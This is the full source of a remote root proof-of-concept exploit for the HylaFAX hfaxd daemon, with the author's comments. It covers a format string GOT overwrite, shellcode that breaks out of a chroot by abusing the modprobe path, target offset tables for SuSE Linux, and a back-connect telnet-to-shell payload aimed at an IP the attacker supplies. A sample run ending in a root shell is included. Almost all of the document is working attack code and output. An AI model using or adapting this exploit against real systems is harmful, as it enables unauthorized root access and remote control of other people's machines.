// source: https://www.securityfocus.com/bid/9005/info
Hylafax hfaxd (daemon) has been reported prone to an unspecified format string vulnerability that may be exploited under non-standard configurations to execute arbitrary instructions remotely as the root user.
/*** Hylafax remote root PoC exploit
(C) 2003 Sebastian Krahmer <krahmer@cs.uni-potsdam.de>
*** FOR EDUCATIONAL PURPOSES ONLY ****
The phrack 59 (www.phrack.org !) article about format strings
on the heap helped a lot. Thanks to gera, fozzy and juliano
for hints.
How to get the right n$ values from syslog:
Sep 29 05:16:22 linux HylaFAX[2704]: command: site trigger %350$x
Sep 29 05:16:22 linux HylaFAX[2704]: ??? bfffff24
So, %350$n is a good choice since a write would located on valid stack.
Sep 29 05:05:24 linux HylaFAX[2644]: command: site trigger %959$x
Sep 29 05:05:24 linux HylaFAX[2644]: ??? 4f464e49
At 0xbffff24 you find the value 0x4f464e49 via gdb, and
brute forcing %1$x to %1000$x shows that at %959$x (see syslog
output above) the value of the 0xbffff24 pointer can be found.
Thus we first write the GOT address we want to modify to 0xbffff24
via the %350$n and then using the value of *0xbffff24 (which is the
address of the GOT entry we want to modify) as a pointer again to
finally write the GOT entry.
strace -i -e raw=read -etrace=read -f -p 3293 2>&1
[pid 3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x400
^^^^^^^^^ network input buffer
[pid 3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x9
(gdb) x/100x 0x808c6b8
...
0x808c6f8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c708: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c718: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c728: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c738: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c748: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c758: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c768: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c778: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c788: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c798: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c7a8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c7b8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c7c8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
...
0x804c1f0 <fprintf>: jmp *0x80835e0
(gdb) x/i 0x804c1f0
Thus, some value like 0x808c6b8 should be written to the address 0x80835e0.
This gives the format strings:
site trigger %%134755804d%%350$n\n"
^^^^^^^^^ This is the GOT entry minus 4 (0x80835e0-4)
site trigger %%%ud%%%d$n\n",
^^ here the address of the buffer holding the shellcode
is palced i.e. 0x808c780. This is variable in the
target struct.
The 0th target (-t 0) is a debug target which makes hfaxd sending all
the fine stuff to syslogd. Then you can look which n$ are usable.
Now for the shellcode: we need a chroot breakign one. It mounts proc
to the chroot cage, modifies modprobe path via it and triggers a
modprobe call by kernel via an invalid ELF file. The called
"modprobe" is indeed a back-connecting shellscript. Outta.
<--- shellcode -->
; nasm -f elf code.s
GLOBAL cbegin
GLOBAL cend
cbegin:
xor eax, eax
mov al, 23
xor ebx, ebx
int 0x80 ; setuid(0)
jmp short proc1
; mount proc FS
mountit:
pop ebx
xor ecx, ecx
mov [ebx+4], cl ; terminate string with \0
xor eax, eax
mov al, 39
xor ecx, ecx
mov cx, 0x1ff
int 0x80 ; mkdir("proc", 0755);
mov ecx, ebx
mov edx, ebx
xor esi, esi
xor edi, edi
xor eax, eax
mov al, 21 ; mount("proc", "proc", "proc", 0, NULL)
int 0x80
jmp short pshell1
; open connect shell script
op:
pop ebx
xor eax, eax
mov [ebx+1], al ; terminate string with \0
mov al, 8
xor ecx, ecx
mov cx, 0x1ff
int 0x80 ; creat("p", 0777);
jmp short connect1
proc1:
jmp short proc
; write it
wp:
pop ecx
mov ebx, eax
dec byte [ecx+9] ; create a '\n'
mov al, 4
xor edx, edx
mov dl, 68
int 0x80 ; write("#!/bin/sh...", 68)
mov al, 6
int 0x80 ; close
jmp short elfp
; open weird ELF file to trigger modprobe
oelf:
pop ebx
xor eax, eax
mov [ebx+3], al ; terminate string with \0
mov al, 8
xor ecx, ecx
mov cx, 0x1ff
int 0x80 ; creat("elf", 0777);
jmp short elfh ;
; write weird ELF
welf: pop ecx
mov ebx, eax ; fd to ebx
xor edx, edx
mov dl, 20
mov al, 4
int 0x80 ; write()
mov al, 6
int 0x80 ; close weird ELF
jmp short modp
pshell1:
jmp short pshell
om:
pop ebx
xor eax, eax
mov al, 5
xor ecx, ecx
mov [ebx+24], cl
inc cl
int 0x80 ; open("...modprobe", 1)
jmp short mpath
wm:
pop ecx
mov ebx, eax ; fd to ebx
mov al, 4
xor edx, edx
mov dl, 16
int 0x80 ; write(fd, "/var/spool/fax/p", 16)
mov al, 6
int 0x80 ; close
mov al, 11
xor ecx, ecx
jmp short elfp2
connect1:
jmp short connect
exec:
pop ebx
mov [ebx+3], cl
push ecx
push ebx
mov ecx, esp
xor edx, edx
int 0x80 ; execve("elf",...)
proc:
call mountit
db "proc."
elfp: ; ELF path
call oelf
db "elf."
elfh: ; ELF header triggering modprobe
call welf
db 0x45, 0x7f, 0x46, 0x4c, 0x01, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1
db 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x22, 0x22
mpath:
call wm
db "/var/spool/fax/p"
pshell:
call op
db "p."
modp:
call om
db "proc/sys/kernel/modprobe."
elfp2:
call exec
db "elf."
connect:
call wp
db "#!/bin/sh",0xb
; db "telnet 127.000.000.001 3128|sh|telnet 127.000.000.001 8080"
cend:
<-- shellcode -->
$ ./a.out -h 127.0.0.1 -t 1 -b 192.168.0.1
>>> Hylafax exploit <<<
> Attempting to exploit hylafax-4.1.5-43 on 127.0.0.1:(4559)
site trigger %134755804d%350$n
site trigger %134793088d%967$n
.....
Connected!
Trying 192.168.000.001...
Connected to 192.168.000.001.
Escape character is '^]'.
Linux linux 2.4.20-4GB #1 Mon Mar 17 17:54:44 UTC 2003 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
12:29:38 up 9:07, 6 users, load average: 2.25, 2.10, 2.23
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
stealth tty2 03:23 48:24 0.73s 0.05s /usr/X11R6/bin/xinit4
stealth pts/2 11:42 1:41 0.61s 1.06s xterm
stealth pts/1 11:42 1.00s 4.50s 0.01s ./a.out -h 127.0.0.1 -t 1 -b 19
stealth pts/3 11:42 6.00s 0.66s 3.08s xterm
stealth pts/4 12:24 2:52 0.27s 0.30s xterm
In order to work, the config need a debug level of at least 2:
ServerTracing: 0x002
in hfaxd.conf.
***/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>
/* Shellcodes.
*/
unsigned char x86_sigtrap[] =
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc";
unsigned char x86_lnx_create_blub[] =
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
"\x31\xc0\xb0\x08\xeb\x0e\x5b\x31\xc9\x88\x4b\x04"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xed\xff\xff"
"\xff\x62\x6c\x75\x62\x31\xc0\x40\xcd\x80";
unsigned char x86_lnx_proc_chroot_backconnect[] =
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xeb\x34\x5b\x31"
"\xc9\x88\x4b\x04\x31\xc0\xb0\x27\x31\xc9\x66\xb9"
"\xff\x01\xcd\x80\x89\xd9\x89\xda\x31\xf6\x31\xff"
"\x31\xc0\xb0\x15\xcd\x80\xeb\x4b\x5b\x31\xc0\x88"
"\x43\x01\xb0\x08\x31\xc9\x66\xb9\xff\x01\xcd\x80"
"\xeb\x60\xeb\x6c\x59\x89\xc3\xfe\x49\x09\xb0\x04"
"\x31\xd2\xb2\x44\xcd\x80\xb0\x06\xcd\x80\xeb\x62"
"\x5b\x31\xc0\x88\x43\x03\xb0\x08\x31\xc9\x66\xb9"
"\xff\x01\xcd\x80\xeb\x59\x59\x89\xc3\x31\xd2\xb2"
"\x14\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xeb\x7d\xeb"
"\x74\x5b\x31\xc0\xb0\x05\x31\xc9\x88\x4b\x18\xfe"
"\xc1\xcd\x80\xeb\x4f\x59\x89\xc3\xb0\x04\x31\xd2"
"\xb2\x10\xcd\x80\xb0\x06\xcd\x80\xb0\x0b\x31\xc9"
"\xeb\x74\xeb\x7b\x5b\x88\x4b\x03\x51\x53\x89\xe1"
"\x31\xd2\xcd\x80\xe8\x59\xff\xff\xff\x70\x72\x6f"
"\x63\x2e\xe8\x99\xff\xff\xff\x65\x6c\x66\x2e\xe8"
"\xa2\xff\xff\xff\x45\x7f\x46\x4c\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x02\x22\x22"
"\xe8\xac\xff\xff\xff\x2f\x76\x61\x72\x2f\x73\x70"
"\x6f\x6f\x6c\x2f\x66\x61\x78\x2f\x70\xe8\x3a\xff"
"\xff\xff\x70\x2e\xe8\x80\xff\xff\xff\x70\x72\x6f"
"\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c"
"\x2f\x6d\x6f\x64\x70\x72\x6f\x62\x65\x2e\xe8\x89"
"\xff\xff\xff\x65\x6c\x66\x2e\xe8\x20\xff\xff\xff"
"\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0b";
unsigned char back_ip[128];
struct {
char *dist, *package, *fmt, *code;
u_int16_t n1, n2;
u_int32_t nbuf;
} targets[] = {
{ "debug", "debug", "debug", "debug", 0, 1, 0
},
{ "SuSE Linux 8.2",
"hylafax-4.1.5-43",
"site trigger %%134755804d%%350$n\n"
"site trigger %%%ud%%%d$n\n", // 350->bfffff24, 963->4f464e49
x86_lnx_proc_chroot_backconnect,
950, 999, /* start/stop values for bruteforcing 2nd n$ */
0x808c780
},
{ "SuSE Linux 8.1",
"hylafax-4.1.3-32",
"site trigger %%134748344d%%334$n\n"//0x804c1d4, *0x80818bc
"site trigger %%%ud%%%d$n\n", // 334->bfffff24, 947->4f464e49
x86_lnx_proc_chroot_backconnect,
940, 999,
0x808aa00
}
};
int verbose = 0;
int list_targets()
{
int i;
for (i = 0; i < sizeof(targets)/sizeof(targets[0]); ++i) {
printf("\n%d: %s / %s\n", i, targets[i].dist, targets[i].package);
}
return 0;
}
void die(const char *s)
{
perror(s);
exit(errno);
}
int writen(int fd, const void *buf, size_t len)
{
int o = 0, n;
while (len > 0) {
if ((n = write(fd, buf+o, len)) < 0)
return n;
len -= n;
o += n;
}
return o;
}
/* Simple tcp_connect(). Disables Nagle.
*/
int tcp_connect(const char *host, u_short port)
{
int sock, one = 1, len = sizeof(one);
struct hostent *he;
struct sockaddr_in sin;
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("sock");
if ((he = gethostbyname(host)) == NULL) {
herror("gethostbyname");
exit(EXIT_FAILURE);
}
memset(&sin, 0, sizeof(sin));
memcpy(&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = port == 0 ? htons(4559):htons(port);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
close(sock);
return -1;
}
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0)
die("setsockopt");
return sock;
}
void usage(const char *s)
{
fprintf(stderr, "\nHylafucks remote hylafax PoC exploit\n\n"
"Usage: %s [-u user] [-p pass] <-h host> [-p port] [-v] [-t target] <-b connect IP>\n\n"
"\t-u user:\tthe user to login as (default 'foo')\n"
"\t-p pass:\tthe password (default 'bar', note: user/pass are not always\n"
"\t\t\trequired on all setups\n"
"\t-t target:\tspecifies remote package/OS\n"
"\t-b IP:\t\tthe IP for the back-connect\n\n"
"use -t -1 for a target list. 0 is debug target; 1 is default.\n"
"Port 3128 and 8080 are used on local machine for the backconnect.\n\n", s);
exit(1);
}
void wait4shell(int p)
{
int l, s1, s2, a1, a2;
char buf[512];
fd_set rfds;
char *cmd = "unset HISTFILE;uname -a;id;w\n";
struct sockaddr_in p8080, p3128;
memset(&p8080, 0, sizeof(p8080));
memset(&p3128, 0, sizeof(p3128));
/* Open 2 ports: 3128 and 8080 */
p8080.sin_family = AF_INET;
p8080.sin_addr.s_addr = INADDR_ANY;
p8080.sin_port = htons(8080);
p3128.sin_family = AF_INET;
p3128.sin_addr.s_addr = INADDR_ANY;
p3128.sin_port = htons(3128);
if ((s1 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("wait4shell::socket/1");
if ((s2 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("wait4shell::socket/2");
if (bind(s1, (struct sockaddr*)&p3128, sizeof(p3128)) < 0)
die("wait4shell::bind/1");
if (bind(s2, (struct sockaddr*)&p8080, sizeof(p8080)) < 0)
die("wait4shell::bind/2");
if (listen(s1, 1) < 0)
die("wait4shell::listen/1");
if (listen(s2, 1) < 0)
die("wait4shell::listen/2");
if ((a1 = accept(s1, NULL, 0)) < 0)
die("wait4shell::accept/1");
if ((a2 = accept(s2, NULL, 0)) < 0)
die("wait4shell::accept/1");
printf("\nConnected!\n");
kill(p, SIGKILL);
if (writen(a1, cmd, strlen(cmd)) < 0)
die("wait4shell::write");
while (1) {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(a1, &rfds);
FD_SET(a2, &rfds);
select(a2 + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET(0, &rfds)) {
l = read(0, buf, sizeof (buf));
if (l <= 0)
die("wait4shell::read");
writen(a1, buf, l);
}
if (FD_ISSET(a2, &rfds)) {
l = read(a2, buf, sizeof (buf));
if (l == 0) {
printf("connection closed by foreign host.\n");
exit(EXIT_FAILURE);
} else if (l < 0)
die("wait4shell::read remote");
writen(1, buf, l);
}
}
}
int expect_reply(int peer, const char *reply, char *buf, size_t blen)
{
int done = 0, i = 0;
memset(buf, 0, blen);
while (!done) {
if (i >= blen)
die("Nuts! Too much response.");
if (read(peer, &buf[i], 1) != 1)
die("expect_reply::read");
++i;
if (buf[i-1] == '\n') {
if (verbose)
printf("[\n%s]\n", buf);
if (strstr(buf, reply) != NULL)
done = 1;
else {
memset(buf, 0, blen);
i = 0;
}
}
}
return 0;
}
int send_overflow(char *host, int port, int target, char *user, char *pass)
{
char buf[1024], *crash = NULL, bip[128];
unsigned int i = 0;
int peer = -1, r = 0;
fd_set rset;
struct timeval tv;
for (i = targets[target].n1; i < targets[target].n2; ++i) {
close(peer);
peer = tcp_connect(host, port);
if (peer < 0)
die("send_overflow::tcp_connect");
expect_reply(peer, "220", buf, sizeof(buf));
/* build shellcode with back-connect IP; reserve space first */
crash = malloc(strlen(targets[target].code) +
sizeof("telnet 127.000.000.001 3128|sh|"
"telnet 127.000.000.001 8080"));
snprintf(bip, sizeof(bip), "telnet %s 3128|sh|telnet %s 8080",
back_ip, back_ip);
sprintf(crash, "%s%s", targets[target].code, bip);
memset(buf, 0x90, sizeof(buf));
/* ehm... */
strcpy(&buf[sizeof(buf)-1]-strlen(crash)-1, crash);
free(crash);
buf[sizeof(buf)-1] = '\n';
if (writen(peer, buf, sizeof(buf)) < 0)
die("send_overflow::writen/shellcode");
expect_reply(peer, "500", buf, sizeof(buf));
expect_reply(peer, "500", buf, sizeof(buf));
/* USER/PASS epilogue */
snprintf(buf, sizeof(buf), "user %s\n", user);
if (writen(peer, buf, strlen(buf)) < 0)
die("send_overflow::writen/user");
expect_reply(peer, "\n", buf, sizeof(buf));
snprintf(buf, sizeof(buf), "pass %s\n", pass);
if (writen(peer, buf, strlen(buf)) < 0)
die("writen/pass");
expect_reply(peer, "\n", buf, sizeof(buf));
if (strcmp(targets[target].dist, "debug") == 0) {
read(0,buf,1);
for (i = 1; i < 1000; ++i) {
sprintf(buf, "site trigger %%%d$x\n", i);
writen(peer, buf, strlen(buf));
usleep(30000);
}
break;
}
snprintf(buf, sizeof(buf), targets[target].fmt,
targets[target].nbuf, i);
if (writen(peer, buf, strlen(buf)) < 0)
die("send_overflow::read");
printf("%s\n", buf);
while (1) {
FD_ZERO(&rset);
FD_SET(peer, &rset);
tv.tv_sec = 1;
tv.tv_usec = 0;
r = select(peer+1, &rset, NULL, NULL, &tv);
if (!FD_ISSET(peer, &rset)) {
printf(".");
continue;
}
r = read(peer, buf, sizeof(buf));
break;
}
printf("\n");
}
return peer;
}
int main(int argc, char **argv)
{
int peer = -1, c = 0, target = 1, port = 0,
d1 = 0, d2 = 0, d3 = 0, d4 = 0, p = 0;
char *host = NULL, *back = NULL, *user = "foo", *pass = "bar";
while ((c = getopt(argc, argv, "h:p:t:vb:u:P:")) != -1) {
switch (c) {
case 'h':
host = strdup(optarg);
break;
case 'p':
port = atoi(optarg);
break;
case 't':
target = atoi(optarg);
break;
case 'v':
verbose = 1;
break;
case 'b':
back = strdup(optarg);
break;
case 'u':
user = strdup(optarg);
break;
case 'P':
pass = strdup(optarg);
break;
default:
usage(argv[0]);
}
}
printf("\n>>> Hylafax exploit <<<\n\n");
if (target == -1) {
list_targets();
return 0;
}
if (!host || !back)
usage(argv[0]);
if (target >= sizeof(targets)/sizeof(targets[0])) {
fprintf(stderr, "Invalid target!\n");
return 1;
}
/* normalize IP */
sscanf(back, "%d.%d.%d.%d", &d1, &d2, &d3, &d4);
sprintf(back_ip, "%03d.%03d.%03d.%03d", d1, d2, d3, d4);
if (verbose)
printf("Normalized back-connect IP: %s\n", back_ip);
setbuffer(stdout, NULL, 0);
printf("> Attempting to exploit %s on %s:(%d)\n\n",
targets[target].package, host, port?port:4459);
if (target != 0) {
if ((p = fork()) > 0)
wait4shell(p);
}
peer = send_overflow(host, port, target, user, pass);
fprintf(stderr, "Failed to exploit '%s'\n", host);
return 0;
}
